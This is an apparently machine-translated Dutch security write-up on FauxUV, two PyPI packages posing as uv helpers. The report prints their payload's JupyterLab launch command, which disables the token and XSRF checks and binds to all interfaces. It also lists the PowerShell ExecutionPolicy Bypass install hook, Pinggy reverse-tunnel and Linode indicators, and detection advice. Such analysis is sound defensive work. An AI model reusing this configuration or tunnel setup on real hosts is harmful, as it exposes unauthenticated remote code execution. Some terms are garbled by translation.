TL; DR
Een groep PyPI-pakketten leende de naam van uv, de snelle, enorm populaire op Rust gebaseerde Python-pakketbeheerder, doen zich voor als uv-helpers. Ze bieden vrijwel geen echte functionaliteit. Wat ze in plaats daarvan bevatten, is een Windows-payload die een systeem opzet. JupyterLab-server met authenticatie uitgeschakeld en publiceert het in latere versies via een omgekeerde tunnel naar het openbare internet.
Dat is het hele verhaal in één zin: De naam van een vertrouwd hulpmiddel als lokmiddel, en JupyterLab als de engine voor het uitvoeren van code op afstand. Een Jupyter-server voert alle code uit die je typt.ebook Een cel die is opgestart met een leeg token en is gekoppeld aan elke netwerkinterface, is een open interpreter die door iedereen die de poort kan bereiken, kan worden aangestuurd.
We volgen het cluster als FauxUVDe twee onderzochte pakketten zijn moon-uv (0.0.1-0.0.16) en my-magic-uv-helper (0.0.1), gepubliceerd door dezelfde exploitant en live beschikbaar op PyPI op het moment van analyse.
| Ecosysteem | PyPI |
| Arrangementen | moon-uv (0.0.1-0.0.16) my-magic-uv-helper (0.0.1) |
| Doelgericht platform | Windows |
| Kerngedrag | Niet-geauthenticeerde JupyterLab-server, gepubliceerd op internet via een reverse tunnel. |
| Legitieme tools misbruikt | uv, JupyterLab, cloudflared, Pinggy |
De aantrekkingskracht: een naam die je al vertrouwt
uv is een van de meest geïnstalleerde Python-tools van de afgelopen twee jaar, dus "een hulpmiddel voor uv"" is een pakket dat een ontwikkelaar zonder erbij na te denken installeert. FauxUV ontleent zijn geloofwaardigheid volledig aan die naam. De pakketten omvatten de echt uv De installer van Astral — de URL's in de payload verwijzen naar echte, betrouwbare hosts — dus een snelle blik laat alleen maar betrouwbare referenties zien. Geen van de pakketten voegt daadwerkelijk iets toe. uv functionaliteit; de naam is slechts de dekmantel.
JupyterLab als RCE-engine
Het belangrijkste onderdeel van de payload is een launcher die JupyterLab start zonder enige beperkingen:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Elke vlag verwijdert een beveiliging, en het meegeleverde script geeft er zelfs een toelichting op (in het originele Chinees): het lege token "Schakelt wachtwoord- en tokencontroles uit — iedereen kan verbinding maken." jupyter lab is een legitieme IDE voor data science, maar geenebook De cel voert, zoals bedoeld, willekeurige code uit. Zo geconfigureerd en gekoppeld aan 0.0.0.0Het houdt op een IDE te zijn en wordt een niet-geauthenticeerde externe shell op de host — er is geen aangepast malwareprogramma nodig, alleen een gangbare tool die op de verkeerde manier wordt gebruikt.
Twee ondersteunende elementen maken dat haalbaar en herhaalbaar:
- Een stille installatietrigger. Vroege versies voeren PowerShell uit met -Uitvoeringsbeleid Bypass rechtstreeks uit setup.py on pip installerenop de achtergrond met onderdrukte fouten, dus pit ziet er normaal uit. Latere versies verplaatsen dezelfde primitieve naar een pip-uv commandoregelprogramma — en schakel het automatisch uitvoeren tijdens de installatie volledig uit.
- Een openbare omgekeerde tunnel. Een server op 0.0.0.0 is nog steeds alleen bereikbaar voor hosts die naar de machine kunnen routeren. Een meegeleverde module opent een [Pinggy](https://pinggy.io/) Een SSH-reversetunnel die de lokale Jupyter-poort doorstuurt naar een openbaar adres, waardoor die beperking wordt opgeheven. Het meegeleverde script bevat ook — uitgeschakeld met commentaar — een alternatief pad via Cloudflare. wolkachtig en netsh poortproxy naar een Linode IP-adres, waarbij hetzelfde doel via een andere infrastructuur wordt gedocumenteerd.
Samengevat: installeer het pakket en een Windows-host draait een wachtwoordloze JupyterLab-omgeving die vervolgens beschikbaar is op het openbare internet.
Hoe FauxUV zich ontwikkelde
FauxUV bracht in snel tempo verschillende versies uit, en het triggerpunt van de payload verschoof tussen deze versies – een herinnering dat één gemarkeerde versie zelden het hele verhaal van een pakketlijn vertelt.
| Stadium | versies | Trigger | Wat het toevoegt |
|---|---|---|---|
| Install-haak | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py bij pip installatie | uv install + PATH prepend |
| CLI-runtime | moon-uv 0.0.5-0.0.13 | pip-uv commando | de wachtwoordloze JupyterLab-launcher |
| Tunnel | moon-uv 0.0.14-0.0.16 | pip-uv commando | een actieve Pinggy reverse tunnel |
Opvallend is dat de automatische uitvoering tijdens de installatie was verwijderd in de latere, meer geavanceerde versies — dus een scanner die alleen is afgestemd op de levenscyclus hooks zou de nieuwere releases beoordelen als minder riskant, precies het tegenovergestelde.
Indicatoren van compromissen
Bevestigd door het lezen van de pakketbroncode; eindpunten gemarkeerd commentaar zijn wel aanwezig in de bestanden, maar worden niet uitgevoerd door de geanalyseerde versie. Netwerkindicatoren zijn onschadelijk gemaakt.
| Type | Indicator |
|---|---|
| Opdracht installeren | powershell -ExecutionPolicy Bypass Het ophalen van het originele UV-installatieprogramma tijdens de PIP-installatie. |
| JupyterLab-vlaggen | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Omgekeerde tunnel (actief) | free[.]pinggy[.]io:443 doorsturen lokaal 127.0.0.1:8888 |
| Tunnelhost (met commentaar) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (met commentaar) | 45[.]79[.]134[.]161 (Linode) via netsh port-proxy |
| Volharding | voorvoegt %USERPROFILE%\.local\bin naar het gebruikerspad |
Gedragssignalen die de moeite waard zijn om te signaleren, onafhankelijk van deze specifieke tekenreeksen: een pip installeren dat voortbrengt powershell -ExecutionPolicy Bypass; ieder jupyter lancering gecombineerd token=”” with –ip=0.0.0.0; en uitgaande SSH naar *.pinggy.io vanaf een ontwikkel- of CI-machine.
Waargenomen gedrag en herkomst
De twee pakketten delen een auteur en een methode: de naam van een betrouwbaar hulpmiddel, toegang alleen voor Windows, achtergronduitvoering met foutonderdrukking en het gebruik van gerenommeerde tools, waardoor bij een snelle controle alleen betrouwbare URL's worden weergegeven. De broncode bevat Chinese commentaren die de beveiligingsrelevante vlaggen duidelijk beschrijven; we rapporteren deze als waarneembare verklaringen in het bestand, niet als een bewering over het motief. allow_origin waarde en een colab.bat De bestandsnaam weerspiegelt de informele "deel mijn lokale runtime"-workflows die circuleren voor Google Colab. Wat de oorsprong ook is, het verpakte resultaat is hetzelfde.
Impact en richtlijnen voor verdedigers
Wie wordt blootgesteld aan FauxUV? Windows-ontwikkelaars en CI-runners die pip installeren een van deze pakketten. Een wachtwoordloze JupyterLab op 0.0.0.0 Het maakt het mogelijk om op afstand code uit te voeren voor iedereen die de poort kan bereiken; de tunnel heft de beperking op van "wie er toegang toe heeft". De server draait als de gebruiker die de installatie heeft uitgevoerd en erft de bestanden, tokens en cloudreferenties van die gebruiker.
Waarom het zo makkelijk over het hoofd gezien kan worden. Elke netwerkverbinding verwijst naar een betrouwbare host — Astral, JupyterLab, wolkachtigPinggy, Colab. Er is geen malware-binair bestand om te hashen en geen versleutelde blob om te decoderen. Scans op basis van reputatie en signatures onderschatten dit, vandaar de gedragsvraag — Wat doet de machine precies als ik dit pakket installeer? — is degene die het vangt.
De begeleiding:
- Behandel elke installatietijd powershell -ExecutionPolicy Bypass als een signaal dat de build verbreekt, ongeacht welke URL wordt opgehaald.
- Alert op jupyter gelanceerd met een lege token en –ip=0.0.0.0Die combinatie mag nooit op een werkstation of runner voorkomen.
- Monitor uitgaande SSH-verbindingen naar tunnelproviders (*.pinggy.io, *.trycloudflare.com) vanuit ontwikkel- en CI-omgevingen.
- Install uv van [de officiële bron](https://docs.astral.sh/uv/) en wees sceptisch over "hulppakketten" van derden die een tool omvatten die al heel eenvoudig te installeren is.
- Controleer en herzie afhankelijkheden bij een upgrade — een pakketlijn kan versie na versie nieuwe functionaliteiten krijgen.



